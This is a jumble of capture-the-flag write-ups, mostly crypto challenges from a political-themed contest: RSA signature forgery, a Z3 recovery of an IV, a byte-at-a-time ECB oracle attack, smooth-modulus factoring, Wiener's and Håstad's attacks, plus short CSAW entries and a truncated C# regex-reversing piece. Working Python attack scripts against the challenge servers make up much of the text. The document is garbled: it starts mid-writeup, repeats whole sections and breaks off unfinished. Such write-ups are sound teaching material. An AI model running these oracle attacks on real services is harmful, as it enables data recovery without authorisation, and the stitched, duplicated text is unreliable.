```Duneld Trump: Well, I already met my quota for Guantanimo Bay inmates today, so okay.Trump looks shocked, appalled by the fact that he'd sign a picture of himself for such a not-billionaire.Trump sprints away at a blinding 2mph, dropping what he was carrying.It's a stack of photos, you pick one up and look at it.ffd8ffe000104a46494600010101006000600000ffdb0043000302020302020303030304030304050805050404050a070706080c0a0c0c0b0a0b0b0d0e12100d0e110e0b0b1016101113141515150c0f171816141812141514ffdb00430103040405040509050509140d0b0d1414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414ffc20011080173029403011100021101031101ffc4001d000002020301010100000000000000000003040102000506070809ffc4001b01000301010101010000000000000000000002030104050607ffda000c03010002100310000001f9904c0c090837024303025896590c36431480cc202776420c90c0c08090c090c090c3242c6f5136f41853dd38e9d0ab557756b58562b284099bb4657767675d55339066f27e8978ef673ebc3030dc08090c330303021770302ccb3b9218658622e955ec8d20...```
Let us write code to make it viewable:
```pythonimport libnumfrom pwn import *
v = remote('trumptrump.pwn.republican', 3609)v.recv(1024)v.send(str(s) + '\r\n')
for i in range(4): v.recvline()data = v.recvline()open('trump1.jpg','w').write(libnum.n2s(int(data, 16)))```

# Vermatrix Supreme (100 p)
```Working in IT for a campaign is rough; especially when your candidate uses his password as the IV for your campaign's proprietary encryption scheme, then subsequently forgets it. See if you can get it back for him.The only hard part is, he changes it whenever he feels like it.
nc vermatrix.pwn.democrat 4201```
Along this, we get the code for the encryption scheme.
```pythonimport sys, random, time
flag = "flag{1_sw34r_1F_p30Pl3_4cTu4lLy_TrY_Th1s}"
def printmat(matrix): for row in matrix: for value in row: print value, print "" print ""
def pad(s): if len(s)%9 == 0: return s for i in xrange((9-(len(s)%9))): s.append(0) return s
def genBlockMatrix(s): outm = [[[7 for x in xrange(3)] for x in xrange(3)] for x in xrange(len(s)/9)] for matnum in xrange(0,len(s)/9): for y in xrange(0,3): for x in xrange(0,3): outm[matnum][y][x] = s[(matnum*9)+x+(y*3)] return outm
def fixmatrix(matrixa, matrixb): out = [[0 for x in xrange(3)] for x in xrange(3)] for rn in xrange(3): for cn in xrange(3): out[cn][rn] = (int(matrixa[rn][cn])|int(matrixb[cn][rn]))&~(int(matrixa[rn][cn])&int(matrixb[cn][rn])) return out
def chall(): IV = [c for c in '?????????'] seed = "??????????????????"
blocks = genBlockMatrix(pad(IV + [ord(c) for c in seed]))
res = [[0 for i in xrange(3)] for i in xrange(3)] for i in xrange(len(blocks)): res = fixmatrix(res, blocks[i])
print "SEED: " + str(seed) printmat(res)
data = raw_input("")
data = data.replace(' ', '').strip().split(',')
if len(data) != 9: return False
for i in xrange(len(IV)): if str(IV[i]) != str(data[i]): return False
return True
if chall(): print flag```
The `IV` is a series of 9 numbers in some undefined range. Instead of spending a bunch of time to find some algebraic relations that we can exploit, we can use Z3. We define a set of variables (BitVec) for Z3, representing the unknown `IV`. Since the matrix we receive should contain the same values as the computed one, given `seed` and the correct `IV`, we set up equality relations.
```pythonfrom z3 import *from pwn import *from vermatrix import *
def find_iv(seed, target): s = Solver() IV = [BitVec('%d' % i, 32) for i in range(1,10)] blocks = genBlockMatrix(pad(IV + [ord(c) for c in seed])) res = [[0 for i in xrange(3)] for i in xrange(3)] for i in xrange(len(blocks)): res = fixmatrix(res, blocks[i])
for y1, y2 in zip(res, target): for x1, x2 in zip(y1, y2): s.add(x1 == x2) # they should be equal! return s```
Now, we can use this routine in connecting to the server as follows:
```pythoncontext.log_level = 'error'v = remote('vermatrix.pwn.democrat', 4201)
seed = v.recvline().split()[1]target_matrix = [[int(x) for x in v.recvline().split()] for i in range(0, 3)]s = find_iv(seed, target_matrix)
if s.check() == sat: m = s.model() out = [0]*9 for x in m: out[int(str(x))-1] = m[x] v.send(str(out)[1:-1] + '\n') print 'FLAG: {0}'.format(v.recvline())```
Running the whole code, we obtain
```flag{IV_wh4t_y0u_DiD_Th3r3}```
# Boxes of Ballots (200 p)
```Privjet Komrade!
While doing observing of Amerikanski's voting infrascture we find interesting box. We send operative to investigate. He return with partial input like showing below.He say box very buggy but return encrypted data sometimes. Figure out what box isdo; maybe we finding embarass material to include in next week bitcoin auction, yes?
ebug": true, "data": "BBBBBBBBBBBBBBBB", "op": "enc"}
nc boxesofballots.pwn.republican 9001```
This challenge is very similar to [this](https://github.com/grocid/CTF/tree/master/IceCTF/2016#l33tcrypt-90-p)). We can solve it as follows:
```pythonfrom pwn import *import jsonimport string
def getdata(res): for l in res.split('\n'): if l.startswith('{"Status"'): return json.loads(l)['data']
def getreference(buflen, v): data = {"debug": False, "data": 'x'*buflen , "op": "enc"} payload = json.dumps(data).replace('False', 'false') v.send(payload + '\n') response = v.recv(1024) ref = getdata(response)[:64] return ref
context.log_level = 'error'v = remote('boxesofballots.pwn.republican', 9001)result = ""buflen = 31
while buflen: ref = getreference(buflen, v)
for i in string.printable: data = {"debug": False, "data": 'x'*buflen + result + i, "op": "enc"} payload = json.dumps(data).replace('False', 'false')
v.send(payload + '\n') response = v.recv(1024) res = getdata(response) if res[:64] == ref: result += i buflen -= 1 print result break else: print "[-] Error" exit(-1)```
gives
```flag{Source_iz_4_noobs}```
Michał Żuberek ([Z](http://z.bigi.pl)) of my team Snatch the Root solved this one.
# The Best RSA (250 p)
```At his last rally, Trump made an interesting statement:
I know RSA, I have the best RSAThe more bits I have, the more secure my cyber, and my modulus is YUUUUUUUUUUUUUGEWe don't believe his cyber is as secure as he says it is. See if you can break it for us```
We get a file with a public exponent `e = 65537` and a massive public modulus `N`. Clearly, there is something strange with this modulus. The first obvious move is to check for small factors, and in fact, we find that 3 is a factor. Not once, but several times. The whole modulus consist of very small prime factors. Let us write some code to factor it!
```pythonimport libnum, grocid, challenge
def get_private_exponent(phi, e): return libnum.modular.invmod(e, phi)
def find_factors(n, h): primes = grocid.sieve(h) factors = {} for p in primes: while n % p == 0: n = n / p if p in factors: factors[p] +=1 else: factors[p] = 1 return factors
print '[+] Factoring n...'single_factors = find_factors(challenge.n, 10000)```
OK, so we got a dictionary containing each prime factor and its corresponding exponent. It looks like this:
```python{3: 1545, 5: 1650, 7: 1581, 137: 1547, 11: 1588, 13: 1595, 17: 1596, 19: 1553, 149: 1572, 23: 1579, 29: 1549, 31: 1613, 163: 1589, 37: 1594, 167: 1578, 41: 1524, 43: 1538, 173: 1617, 47: 1571, 229: 1610, 179: 1556, 53: 1635, 59: 1556, 151: 1549, 61: 1605, 181: 1582, 193: 1549, 67: 1606, 197: 1520, 71: 1589, 73: 1571, 241: 1564, 79: 1548, 83: 1630, 139: 1638, 89: 1535, 199: 1574, 223: 1610, 97: 1456, 227: 1600, 131: 1540, 101: 1514, 103: 1583, 233: 1564, 107: 1591, 109: 1529, 239: 1556, 157: 1600, 113: 1601, 211: 1544, 251: 1493, 191: 1564, 127: 1565}```
So, we can compute ϕ and the corresponding private exponent:
```pythonphi = challenge.nprint '[+] Computing phi...'for p in single_factors: phi = phi / p * (p - 1)
print '[+] Computing private exponent'd = get_private_exponent(phi, 65537)```
This enables us to decrypt! However, if you try it, you will probably notice that it takes quite some time and memory to compute cᵈ (mod n). Now, we can speed this a bit using CRT. So, we compute cᵈ (mod 3¹⁵⁴⁵) and so on separately, for each prime factor and then use CRT to reconstruct the whole message:
```pythonremainders = []moduli = []
for p in single_factors: modulus = pow(p, single_factors[p]) moduli.append(modulus) remainder = pow(challenge.c, d, modulus) remainders.append(remainder)
plaintext = libnum.modular.solve_crt(remainders, moduli)print 'Message: {0}'.format(libnum.n2s(plaintext))```
It still takes some time to complete, but it is managable (left it running while doing other stuff so...). It could possibly be made faster by Hensel lifting, but I decided not to try it. When done, we get a message which is a image file.:

# Baby's hands (300 p)```We think that Trump's right hand man has been sending out flags from his personal computer, but we need to be sure. See if you can make anything out of the trafficwe intercepted.```
The initial two lines are
```python{d:n:c}{64193765095472280945778947695026260940793161700792092928929371930940586875921621250436677664062645637750266086941620369817913432656342447118119648040487568561166129534408858429501807430550886328164336961068507005046531729954378900389289038547121166749974617776234380115780563231906876010653549490718147637109:162375468556255342840184380017752307049575955143811124651668179546999144455415632265862602514386409412258772643790637233144774447636694664087397175482938958661142022166864007317692608104513835959387316735889741416403005613839667775733147723497537341613995375357897642024075069112712472560335406551536669543677:161368580245997137625438248139098888389801359838792140099794084052829279383422322670122662786704858201672541232233171127388341066584896672407182421832728901923771676356720611937864219195771372253188974650818854505110963737925290199983571032857746780899310446337006151661497839040062867489758146326490061720009}```
OK, so the private exponent `d` is published. We try to compute cᵈ (mod n) and look at the binary data with binwalk. No results. Hm... so, what if we need the public exponent `e` to compute the plaintext? We can probably find this with Wieners attack! Let us try it!
```pythonimport libnum, grocid
f = open('intercepted', 'r')
data = f.read()data = data.split('\n')
for line in data[1:]: d, n, c = [int(x) for x in line[1:-1].split(':')] e = grocid.wiener.attack(d, n)```
This yields
```flag{G3t_1t?_1t_h4s_4_sm4ll_d}```
# SMTPresident (400 p)
```The FBI reopened their investigation of Hillary Clinton after they recovered some interesting files from her personal email server.
emailspubkeysflag```
The file `pubkeys` contains a set of public keys with very small public exponent (e = 17). Assuming that every message sent on the same date is identical, we can use Håstad's broadcast attack. Incidentially, we have 17 of each every date. The following Python code will do just fine:
```pythonfrom os import listdirfrom os.path import isfile, joinfrom Crypto.PublicKey import RSAfrom base64 import b64decodeimport re, libnum, gmpy
def get_files(path): return [f for f in listdir(path) if isfile(join(path, f))] pubkeysfiles = get_files('./pubkeys')emailfiles = get_files('./emails')pubkeys = {}encrypted_emails = {}
for pubkeyfile in pubkeysfiles: f = open('./pubkeys/' + pubkeyfile, 'r') data = f.read().replace('-----BEGIN RSA PUBLIC KEY-----', '').replace('-----END RSA PUBLIC KEY-----', '') data = b64decode(data) pubkeys[pubkeyfile] = RSA.importKey(data) f.close()
for emailfile in emailfiles: f = open('./emails/' + emailfile, 'r') data = f.read() sender = re.findall('To: (.*)@dnc', data)[0] date = re.findall('Date: (.*)\n', data)[0] content = re.findall('Content: (.*)', data)[0] if not date in encrypted_emails: encrypted_emails[date] = {} encrypted_emails[date][sender] = int(content, 16)
message_content = Falsefor date in encrypted_emails: moduli = [] remainders = [] for x in encrypted_emails[date]: moduli.append(pubkeys[x].n) remainders.append(encrypted_emails[date][x])
x = libnum.modular.solve_crt(remainders, moduli) x0 = gmpy.mpz(x) xr = x0.root(17) message = libnum.n2s(int(xr[0])) if not message_content: message_content = ['?'] * len(message) for i, c in enumerate(message): if c != '#': message_content[i] = c
print ''.join(message_content)```
which outputs
```Subject: My Fellow DNC MembersContent: Keep this safe <MISSING>1862866103431083493477241717117566609979097064670248011800478128293487053500169824960133057115553, that's the key we agreed on.```
OK, so let us assume that the key mentioned in the message is the lower bits of the private exponent. There is a method to solve this problem. A script which implements this method can be found [here](https://github.com/grocid/CTF/tree/master/CSAW/2016#still-broken-box-400-p) and [here](https://grocid.net/2016/03/14/0ctf-equation/).
Unfortunately, the computation did not finish (e = 65537 takes some time to run, even multithreaded). Pity. |
# CSAW CTF 2016 Quals: Gametime
**Category:** Reverse**Points:** 50**Solves:** 491**Description:**
Guess what time it is! That's right! Gametime! Wowwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww!!!!!!!!!!!!
Author: Brad Antoniewicz
note: flag is not in flag{} format
## Write-upWe just played the game and recorded it so when it spit out the flag we could just go back frame by frame to get the flag.
### Flag
'key is (no5c30416d6cf52638460377995c6a8cf5)' |
# CSAW CTF 2016 Quals: evidence.zip
**Category:** Forensics**Points:** 100**Solves:** 170**Description:**
As part of CSAW CTF's ongoing efforts to terminate cheaters with extreme prejudice, we were supposed to have evidence incriminating a handful of teams in this zip file. I do not know what happened, but I do not think the evidence actually made it in there...
## Write-upstring evidence.zip will dump out a bunch of gibberish, but at the end you find something like this:
***JDzq |
# TOPKEK (50 p)
```A CNN reporter had only one question that she couldn't get off her mind
Do we even know, who is this 4 CHAN???
So she set out to find who this 400lb hacker is. During her investigation, she came across this cryptic message on some politically incorrect forum online, can you figure out what it means?```
There is a ciphertext attached to this challenge, which contains the following:
```KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP!! KEK!!! TOP!! KEK!!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP!!!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!!!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP!! KEK! TOP!!!! KEK!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK!!!!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK!! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP!!! KEK!! TOP! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK!! TOP!!! KEK! TOP! KEK!! TOP! KEK!!!! TOP!!! KEK! TOP! KEK!!! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP!!! KEK!!! TOP!! KEK!!!!! TOP! KEK! TOP! KEK! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK!! TOP!! KEK! TOP! KEK!!! TOP! KEK! TOP! KEK!! TOP! KEK!!! TOP!! KEK!! TOP!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!!!! KEK!! TOP! KEK!! TOP!! KEK!!!!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK! TOP! KEK!!!!! TOP!! KEK! TOP! KEK!!! TOP!!! KEK! TOP!! KEK!!! TOP!! KEK!!! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP!! KEK!! TOP!! KEK!! TOP!!! KEK! TOP! KEK! TOP! KEK! TOP!! KEK! TOP!!! KEK!! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK! TOP!!!!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP!! KEK!! TOP!! KEK! TOP! KEK!! TOP! KEK! TOP!! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK!! TOP! KEK!!!! TOP! KEK! TOP!!!!! KEK! TOP!```
First guess is a binary, and judging from the amount of points given for this challenge, that is probably no more complicated than that. `TOP` is either `0` or `1` and the number of `!` denotes the number of each symbol. We try both and find that `TOP` maps to `1`, so `KEK` is `0`. The following code decodes the ciphertext.
```pythonsplit_cipher = ciphertext.split()decrypted = ''for block in split_cipher: if block.startswith('KEK'): decrypted += '0' * (len(block) - 3) else: decrypted += '1' * (len(block) - 3)
decrypted = int(decrypted, 2)print libnum.n2s(decrypted)```
This gives
```flag{T0o0o0o0o0P______1m_h4V1nG_FuN_r1gHt_n0W_4R3_y0u_h4v1ng_fun______K3K!!!}```# Trump Trump (100 p)
```With Trump about to be in office, autographed photos of him are selling like wildfire. The only problem is:Trump makes it a point to never sign a photo of himself. If you could get a signed picture, you could stand to make DOZENS of dollars.
nc trumptrump.pwn.republican 3609```
We get the following parameters
```pythone = 65537N = 23377710160585068929761618506991996226542827370307182169629858568023543788780175313008507293451307895240053109844393208095341963888750810795999334637219913785780317641204067199776554612826093939173529500677723999107174626333341127815073405082534438012567142969114708624398382362018792541727467478404573610869661887188854467262618007499261337953423761782551432338613283104868149867800953840280656722019640237553189669977426208944252707288724850642450845754249981895191279748269118285047312864220756292406661460782844868432184013840652299561380626402855579897282032613371294445650368096906572685254142278651577097577263```Converting the image to a number
```pythonf = open('trump.jpg', 'r')data = libnum.s2n(f.read()) % N```
we try to submit it, which incidentially fails. We can exploit that sign(a) × sign(b) = sign(a × b). Since the image is divisible by for instance 5, we can factor out this and sign the two parts separately.
```sign(data / 5) = 15742105247958736958004859844860106392650529642491444791655288653059139800053206167023792876159338330811553994563264038797209523053486931817881299156223450837206775783069574776254654197337314541494064874054449749920216258529257414289049794126137529358458843274774718683434637726891822317083908587215429977340799931758155377373656742947190372216055450421108566287038161365843817023142180328035768992726841684537565155117632165969899505426984495819465218509929865350057283134017766501372618581237936784285588661088765130624093014320161531747074858737002260566015050922492437422682387506583350890218827504186050632600504sign(5) = 18938431620064949405099081881389422411569506620645684785718437650149907701313939238017399264771270907473551575023831816899182480214946633959498312433619616816861526269114681215528914329791099013891595131862543300865871379621247867883669403120593815746911158013483346808195756730946735362037791985948842449343328484149265803462983935765047801620079220588638013959948297979415581591179722303271496129424130559547762467547913292325129340535450673107267746074776721093375970510983576513946461957148135755448610570645462794635156136176208419134557678284424568016798221633694322809374691561612990098051154456165773266086828```so,
```sign(data) = 7240527260044126899075832339973255923943354335060037001558105343295495841635843603507411996488568977206115374657942401805673165802944813082589201103827861325639581582005106924492724100812077464571265915352012064311221086996199961637876724784326540728342282620427706011099830010859187486529928704673604893811823836195858916605646466850177580221970723526928598144155086898666864544017092301766812496415256830844105167571316067435310083881243302996555421199570092966497927454347195963984192282682803663188954259681974561132158520131591167970511602803401392202553720288822909116428852233039667283953852194960467196349739```
Sending this to the service, we get
```Duneld Trump: Well, I already met my quota for Guantanimo Bay inmates today, so okay.Trump looks shocked, appalled by the fact that he'd sign a picture of himself for such a not-billionaire.Trump sprints away at a blinding 2mph, dropping what he was carrying.It's a stack of photos, you pick one up and look at it.ffd8ffe000104a46494600010101006000600000ffdb0043000302020302020303030304030304050805050404050a070706080c0a0c0c0b0a0b0b0d0e12100d0e110e0b0b1016101113141515150c0f171816141812141514ffdb00430103040405040509050509140d0b0d1414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414ffc20011080173029403011100021101031101ffc4001d000002020301010100000000000000000003040102000506070809ffc4001b01000301010101010000000000000000000002030104050607ffda000c03010002100310000001f9904c0c090837024303025896590c36431480cc202776420c90c0c08090c090c090c3242c6f5136f41853dd38e9d0ab557756b58562b284099bb4657767675d55339066f27e8978ef673ebc3030dc08090c330303021770302ccb3b9218658622e955ec8d20...```
Let us write code to make it viewable:
```pythonimport libnumfrom pwn import *
v = remote('trumptrump.pwn.republican', 3609)v.recv(1024)v.send(str(s) + '\r\n')
for i in range(4): v.recvline()data = v.recvline()open('trump1.jpg','w').write(libnum.n2s(int(data, 16)))```

# Vermatrix Supreme (100 p)
```Working in IT for a campaign is rough; especially when your candidate uses his password as the IV for your campaign's proprietary encryption scheme, then subsequently forgets it. See if you can get it back for him.The only hard part is, he changes it whenever he feels like it.
nc vermatrix.pwn.democrat 4201```
Along this, we get the code for the encryption scheme.
```pythonimport sys, random, time
flag = "flag{1_sw34r_1F_p30Pl3_4cTu4lLy_TrY_Th1s}"
def printmat(matrix): for row in matrix: for value in row: print value, print "" print ""
def pad(s): if len(s)%9 == 0: return s for i in xrange((9-(len(s)%9))): s.append(0) return s
def genBlockMatrix(s): outm = [[[7 for x in xrange(3)] for x in xrange(3)] for x in xrange(len(s)/9)] for matnum in xrange(0,len(s)/9): for y in xrange(0,3): for x in xrange(0,3): outm[matnum][y][x] = s[(matnum*9)+x+(y*3)] return outm
def fixmatrix(matrixa, matrixb): out = [[0 for x in xrange(3)] for x in xrange(3)] for rn in xrange(3): for cn in xrange(3): out[cn][rn] = (int(matrixa[rn][cn])|int(matrixb[cn][rn]))&~(int(matrixa[rn][cn])&int(matrixb[cn][rn])) return out
def chall(): IV = [c for c in '?????????'] seed = "??????????????????"
blocks = genBlockMatrix(pad(IV + [ord(c) for c in seed]))
res = [[0 for i in xrange(3)] for i in xrange(3)] for i in xrange(len(blocks)): res = fixmatrix(res, blocks[i])
print "SEED: " + str(seed) printmat(res)
data = raw_input("")
data = data.replace(' ', '').strip().split(',')
if len(data) != 9: return False
for i in xrange(len(IV)): if str(IV[i]) != str(data[i]): return False
return True
if chall(): print flag```
The `IV` is a series of 9 numbers in some undefined range. Instead of spending a bunch of time to find some algebraic relations that we can exploit, we can use Z3. We define a set of variables (BitVec) for Z3, representing the unknown `IV`. Since the matrix we receive should contain the same values as the computed one, given `seed` and the correct `IV`, we set up equality relations.
```pythonfrom z3 import *from pwn import *from vermatrix import *
def find_iv(seed, target): s = Solver() IV = [BitVec('%d' % i, 32) for i in range(1,10)] blocks = genBlockMatrix(pad(IV + [ord(c) for c in seed])) res = [[0 for i in xrange(3)] for i in xrange(3)] for i in xrange(len(blocks)): res = fixmatrix(res, blocks[i])
for y1, y2 in zip(res, target): for x1, x2 in zip(y1, y2): s.add(x1 == x2) # they should be equal! return s```
Now, we can use this routine in connecting to the server as follows:
```pythoncontext.log_level = 'error'v = remote('vermatrix.pwn.democrat', 4201)
seed = v.recvline().split()[1]target_matrix = [[int(x) for x in v.recvline().split()] for i in range(0, 3)]s = find_iv(seed, target_matrix)
if s.check() == sat: m = s.model() out = [0]*9 for x in m: out[int(str(x))-1] = m[x] v.send(str(out)[1:-1] + '\n') print 'FLAG: {0}'.format(v.recvline())```
Running the whole code, we obtain
```flag{IV_wh4t_y0u_DiD_Th3r3}```
# Boxes of Ballots (200 p)
```Privjet Komrade!
While doing observing of Amerikanski's voting infrascture we find interesting box. We send operative to investigate. He return with partial input like showing below.He say box very buggy but return encrypted data sometimes. Figure out what box isdo; maybe we finding embarass material to include in next week bitcoin auction, yes?
ebug": true, "data": "BBBBBBBBBBBBBBBB", "op": "enc"}
nc boxesofballots.pwn.republican 9001```
This challenge is very similar to [this](https://github.com/grocid/CTF/tree/master/IceCTF/2016#l33tcrypt-90-p)). We can solve it as follows:
```pythonfrom pwn import *import jsonimport string
def getdata(res): for l in res.split('\n'): if l.startswith('{"Status"'): return json.loads(l)['data']
def getreference(buflen, v): data = {"debug": False, "data": 'x'*buflen , "op": "enc"} payload = json.dumps(data).replace('False', 'false') v.send(payload + '\n') response = v.recv(1024) ref = getdata(response)[:64] return ref
context.log_level = 'error'v = remote('boxesofballots.pwn.republican', 9001)result = ""buflen = 31
while buflen: ref = getreference(buflen, v)
for i in string.printable: data = {"debug": False, "data": 'x'*buflen + result + i, "op": "enc"} payload = json.dumps(data).replace('False', 'false')
v.send(payload + '\n') response = v.recv(1024) res = getdata(response) if res[:64] == ref: result += i buflen -= 1 print result break else: print "[-] Error" exit(-1)```
gives
```flag{Source_iz_4_noobs}```
Michał Żuberek ([Z](http://z.bigi.pl)) of my team Snatch the Root solved this one.
# The Best RSA (250 p)
```At his last rally, Trump made an interesting statement:
I know RSA, I have the best RSAThe more bits I have, the more secure my cyber, and my modulus is YUUUUUUUUUUUUUGEWe don't believe his cyber is as secure as he says it is. See if you can break it for us```
We get a file with a public exponent `e = 65537` and a massive public modulus `N`. Clearly, there is something strange with this modulus. The first obvious move is to check for small factors, and in fact, we find that 3 is a factor. Not once, but several times. The whole modulus consist of very small prime factors. Let us write some code to factor it!
```pythonimport libnum, grocid, challenge
def get_private_exponent(phi, e): return libnum.modular.invmod(e, phi)
def find_factors(n, h): primes = grocid.sieve(h) factors = {} for p in primes: while n % p == 0: n = n / p if p in factors: factors[p] +=1 else: factors[p] = 1 return factors
print '[+] Factoring n...'single_factors = find_factors(challenge.n, 10000)```
OK, so we got a dictionary containing each prime factor and its corresponding exponent. It looks like this:
```python{3: 1545, 5: 1650, 7: 1581, 137: 1547, 11: 1588, 13: 1595, 17: 1596, 19: 1553, 149: 1572, 23: 1579, 29: 1549, 31: 1613, 163: 1589, 37: 1594, 167: 1578, 41: 1524, 43: 1538, 173: 1617, 47: 1571, 229: 1610, 179: 1556, 53: 1635, 59: 1556, 151: 1549, 61: 1605, 181: 1582, 193: 1549, 67: 1606, 197: 1520, 71: 1589, 73: 1571, 241: 1564, 79: 1548, 83: 1630, 139: 1638, 89: 1535, 199: 1574, 223: 1610, 97: 1456, 227: 1600, 131: 1540, 101: 1514, 103: 1583, 233: 1564, 107: 1591, 109: 1529, 239: 1556, 157: 1600, 113: 1601, 211: 1544, 251: 1493, 191: 1564, 127: 1565}```
So, we can compute ϕ and the corresponding private exponent:
```pythonphi = challenge.nprint '[+] Computing phi...'for p in single_factors: phi = phi / p * (p - 1)
print '[+] Computing private exponent'd = get_private_exponent(phi, 65537)```
This enables us to decrypt! However, if you try it, you will probably notice that it takes quite some time and memory to compute cᵈ (mod n). Now, we can speed this a bit using CRT. So, we compute cᵈ (mod 3¹⁵⁴⁵) and so on separately, for each prime factor and then use CRT to reconstruct the whole message:
```pythonremainders = []moduli = []
for p in single_factors: modulus = pow(p, single_factors[p]) moduli.append(modulus) remainder = pow(challenge.c, d, modulus) remainders.append(remainder)
plaintext = libnum.modular.solve_crt(remainders, moduli)print 'Message: {0}'.format(libnum.n2s(plaintext))```
It still takes some time to complete, but it is managable (left it running while doing other stuff so...). It could possibly be made faster by Hensel lifting, but I decided not to try it. When done, we get a message which is a image file.:

# Baby's hands (300 p)```We think that Trump's right hand man has been sending out flags from his personal computer, but we need to be sure. See if you can make anything out of the trafficwe intercepted.```
The initial two lines are
```python{d:n:c}{64193765095472280945778947695026260940793161700792092928929371930940586875921621250436677664062645637750266086941620369817913432656342447118119648040487568561166129534408858429501807430550886328164336961068507005046531729954378900389289038547121166749974617776234380115780563231906876010653549490718147637109:162375468556255342840184380017752307049575955143811124651668179546999144455415632265862602514386409412258772643790637233144774447636694664087397175482938958661142022166864007317692608104513835959387316735889741416403005613839667775733147723497537341613995375357897642024075069112712472560335406551536669543677:161368580245997137625438248139098888389801359838792140099794084052829279383422322670122662786704858201672541232233171127388341066584896672407182421832728901923771676356720611937864219195771372253188974650818854505110963737925290199983571032857746780899310446337006151661497839040062867489758146326490061720009}```
OK, so the private exponent `d` is published. We try to compute cᵈ (mod n) and look at the binary data with binwalk. No results. Hm... so, what if we need the public exponent `e` to compute the plaintext? We can probably find this with Wieners attack! Let us try it!
```pythonimport libnum, grocid
f = open('intercepted', 'r')
data = f.read()data = data.split('\n')
for line in data[1:]: d, n, c = [int(x) for x in line[1:-1].split(':')] e = grocid.wiener.attack(d, n)```
This yields
```flag{G3t_1t?_1t_h4s_4_sm4ll_d}```
# SMTPresident (400 p)
```The FBI reopened their investigation of Hillary Clinton after they recovered some interesting files from her personal email server.
emailspubkeysflag```
The file `pubkeys` contains a set of public keys with very small public exponent (e = 17). Assuming that every message sent on the same date is identical, we can use Håstad's broadcast attack. Incidentially, we have 17 of each every date. The following Python code will do just fine:
```pythonfrom os import listdirfrom os.path import isfile, joinfrom Crypto.PublicKey import RSAfrom base64 import b64decodeimport re, libnum, gmpy
def get_files(path): return [f for f in listdir(path) if isfile(join(path, f))] pubkeysfiles = get_files('./pubkeys')emailfiles = get_files('./emails')pubkeys = {}encrypted_emails = {}
for pubkeyfile in pubkeysfiles: f = open('./pubkeys/' + pubkeyfile, 'r') data = f.read().replace('-----BEGIN RSA PUBLIC KEY-----', '').replace('-----END RSA PUBLIC KEY-----', '') data = b64decode(data) pubkeys[pubkeyfile] = RSA.importKey(data) f.close()
for emailfile in emailfiles: f = open('./emails/' + emailfile, 'r') data = f.read() sender = re.findall('To: (.*)@dnc', data)[0] date = re.findall('Date: (.*)\n', data)[0] content = re.findall('Content: (.*)', data)[0] if not date in encrypted_emails: encrypted_emails[date] = {} encrypted_emails[date][sender] = int(content, 16)
message_content = Falsefor date in encrypted_emails: moduli = [] remainders = [] for x in encrypted_emails[date]: moduli.append(pubkeys[x].n) remainders.append(encrypted_emails[date][x])
x = libnum.modular.solve_crt(remainders, moduli) x0 = gmpy.mpz(x) xr = x0.root(17) message = libnum.n2s(int(xr[0])) if not message_content: message_content = ['?'] * len(message) for i, c in enumerate(message): if c != '#': message_content[i] = c
print ''.join(message_content)```
which outputs
```Subject: My Fellow DNC MembersContent: Keep this safe <MISSING>1862866103431083493477241717117566609979097064670248011800478128293487053500169824960133057115553, that's the key we agreed on.```
OK, so let us assume that the key mentioned in the message is the lower bits of the private exponent. There is a method to solve this problem. A script which implements this method can be found [here](https://github.com/grocid/CTF/tree/master/CSAW/2016#still-broken-box-400-p) and [here](https://grocid.net/2016/03/14/0ctf-equation/).
Unfortunately, the computation did not finish (e = 65537 takes some time to run, even multithreaded). Pity. |
Problem:RrEeGgEeXx(rev, 75 points)"State-of-the-art on authentication mechanisms."Attachmentrev75_79816641bfd11577.zipSolution:This reversing problem was quite challenging. If we take a look at it in IDA, we see a bunch of regex checks. If the check fails it branches to loc_AD, which prints the error message "IMPOSTOR".By searching the program we see that there's no flag to be printed via file or otherwise, so the string we use to pass all these checks is more than likely our flag. One thing we can do is re-implement this in a higher level to see exactly where we fail the check if we do. As we can see with how detailed our binary is, this is C# .NET. So I started a new console application in visual studio and used the following code:private static bool checkRegex(string regex, string input){ Regex r = new Regex(regex, RegexOptions.None); Match match = r.Match(input); return match.Success;}static void Main(string[] args){ for (; ; ) { System.Console.Write("Password: "); string inPswd = System.Console.ReadLine(); if (inPswd == "q") break; // Check each regex rule, print if failure if (!checkRegex("^.{40}$", inPswd)) System.Console.WriteLine("Failed at check A"); if 